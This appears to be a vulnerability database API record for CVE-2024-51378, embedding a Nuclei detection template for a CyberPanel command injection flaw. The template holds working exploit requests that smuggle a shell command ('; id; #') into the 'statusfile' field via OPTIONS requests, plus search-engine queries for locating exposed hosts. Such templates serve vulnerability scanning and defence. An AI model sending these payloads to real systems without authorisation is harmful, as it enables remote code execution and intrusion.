{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-51378/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-51378/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-51378/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-51378/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-51378/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-51378"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-51378"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2024/CVE-2024-51378.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2024-51378\n\ninfo:\n  name: CyberPanel - Command Injection\n  author: ritikchaddha\n  severity: critical\n  description: |\n    CyberPanel contains a command injection vulnerability in the /ftp/getresetstatus and /dns/getresetstatus endpoints.The vulnerability exists due to improper validation of the 'statusfile' parameter, which is directly used in a shell command.The security middleware only validates POST requests, allowing attackers to bypass protection using OPTIONS requests.\n  impact: |\n    Attackers can exploit this vulnerability to compromise system security and integrity.\n  remediation: |\n    Apply the latest security patches and updates to address this vulnerability.\n  reference:\n    - https://www.bleepingcomputer.com/news/security/massive-psaux-ransomware-attack-targets-22-000-cyberpanel-instances/\n    - https://refr4g.github.io/posts/cyberpanel-command-injection-vulnerability/\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-51378\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2024-51378\n    cwe-id: CWE-78\n    epss-score: 0.94668\n    epss-percentile: 0.99854\n    cpe: cpe:2.3:a:cyberpanel:cyberpanel:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    verified: true\n    product: CyberPanel\n    shodan-query: html:\"CyberPanel\"\n    fofa-query: app=\"CyberPanel\"\n  tags: cve,cve2024,cyberpanel,rce,kev,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        OPTIONS /{{path}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        X-Csrftoken: {{csrftoken}}\n\n        {\"statusfile\": \"; id; #\"}\n\n    payloads:\n      path:\n        - \"ftp/getresetstatus\"\n        - \"dns/getresetstatus\"\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"uid=[0-9]+.*gid=[0-9]+.*\"\n          - 'requestStatus\":'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        part: header\n        name: csrftoken\n        group: 1\n        regex:\n          - \"csrftoken=([a-zA-Z0-9]+)\"\n        internal: true\n# digest: 4a0a004730450220737bb88ad6a49b8874fed3d0e1a16804f6baa4e79fa0a266c7196371ec00b796022100ac9eed6518f5de5ad416dbaa0e9347fc1abf2cb1ba4ff3bb27e0355463255b4f:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2024-51378"
}